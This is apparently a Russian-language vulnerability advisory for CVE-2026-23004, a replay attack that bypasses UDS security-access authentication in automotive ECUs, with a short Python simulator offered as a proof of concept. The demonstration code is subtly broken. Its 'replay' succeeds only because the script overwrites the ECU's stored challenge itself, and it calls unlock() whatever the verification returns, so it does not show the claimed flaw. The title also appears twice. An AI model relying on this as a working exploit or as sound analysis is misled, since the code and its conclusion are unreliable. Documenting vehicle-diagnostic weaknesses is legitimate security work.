CVE-2026-23004 – Обход аутентификации UDS в автомобильных системах при помощи атаки повторного воспроизведения

Программный код (симулятор Python CAN‑UDS)

# uds_sim.py - ECU that authenticates with a simple challenge
import random, hashlib

class ECU:
    def __init__(self):
        self.secret = b'long_secret_key'
    def generate_challenge(self):
        self.challenge = random.randbytes(8)
        return self.challenge
    def verify_response(self, response):
        expected = hashlib.sha256(self.secret + self.challenge).digest()[:8]
        return response == expected
    def unlock(self):
        print("ECU unlocked! Critical functions accessible.")

# Attacker captures a valid challenge-response pair
ecu = ECU()
challenge = ecu.generate_challenge()
# Legitimate tool computes response (simplified)
response = hashlib.sha256(ecu.secret + challenge).digest()[:8]
ecu.verify_response(response)  # first unlock

# Replay the same challenge-response
ecu.challenge = challenge
ecu.verify_response(response)  # second unlock without new challenge - works
ecu.unlock()

CVE-2026-23004 – Обход аутентификации UDS в автомобильных системах при помощи повторного воспроизведения

Обзор

Автомобильный ЭБУ (ECU) реализует сервис защищённого доступа (security access) Unified Diagnostic Services (UDS) (сервис 0x27), но не обеспечивает одноразовое использование вызова. Злоумышленник может перехватить валидную пару «вызов-ответ» и воспроизвести её, чтобы обойти аутентификацию.

Детали уязвимости

• Тип: Атака повторного воспроизведения
• Воздействие: Несанкционированное программирование ЭБУ, отключение защитных функций.
• Корневая причина: ЭБУ принимает любой ответ, совпадающий с текущим вызовом, но один и тот же вызов можно использовать повторно без аннулирования.

Демонстрация эксплуатации

Запустите симуляцию:

python uds_sim.py

ЭБУ разблокируется дважды с одной и той же парой аутентификации.